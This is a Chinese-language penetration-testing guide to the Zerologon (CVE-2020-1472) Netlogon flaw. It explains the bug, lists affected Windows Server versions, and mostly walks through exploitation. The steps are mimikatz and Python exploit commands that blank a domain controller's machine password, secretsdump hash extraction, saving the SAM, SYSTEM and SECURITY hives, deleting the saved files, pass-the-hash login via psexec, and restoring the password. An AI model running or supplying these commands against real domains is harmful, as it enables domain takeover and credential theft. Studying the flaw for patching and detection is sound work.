域渗透之Zerologon域提权漏洞
组件概述
Netlogon远程协议是一个远程过程调用(RPC)接口,用于基于域的网络上的用户和计算机身份验证。Netlogon远程协议RPC接口还用于为备份域控制器(BDC)复制数据库。
Netlogon远程协议用于维护从域成员到域控制器(DC),域的DC之间以及跨域的DC之间的域关系。此RPC接口用于发现和管理这些关系。
漏洞概述
该漏洞主要是由于在使用Netlogon安全通道与域控进行连接时,由于认证协议加密部分的缺陷,导致攻击者可以将域控管理员用户的密码置为空,从而进一步实现密码hash获取并最终获得管理员权限。成功的利用可以实现以管理员权限登录域控设备,并进一步控制整个域。
漏洞范围
Microsoft Windows Server 2008 R2 SP1
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016
Microsoft Windows Server 2019
Microsoft Windows Server version 2004 (Server Core Installation)
Microsoft Windows Server version 1903 (Server Core Installation)
Microsoft Windows Server version 1909 (Server Core Installation)
影响Windows Server 2008R 2至Windows Server 2019的多个版本系统
漏洞复现
privilege::debug
# 检测是否存在漏洞
lsadump::zerologon /target:<dc-ip> /account:<主机名>$
# 重置密码
lsadump::zerologon /target:<dc-ip> /account:<主机名>$ /exploit
或使用脚本
python3 cve-2020-1472-exploit.py -n server2012 -t 10.211.55.12
-n指定域控计算机主机名
-t指定域控ip
运行exp,确定把域控机器账户密码置换成空
完成后使用
python secretsdump.py 域名/ADD-DC$@192.168.11.15 -no-pass
拖hash,获取域管hash后使用psexec等进行pth登录
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
# 获取文件路径
get system.saveget sam.save
get security.save
# 删除文件
del /f system.save
del /f sam.save
del /f security.save
解密本地凭据
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
$MACHINE.ACC:
的值,然后使用reinstall_original_pw.py
进行还原凭据
python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca
机器名可通过nslookup 或nbtscan等netbios扫描获取
参考
CVE-2020-1472 Netlogon权限提升漏洞分析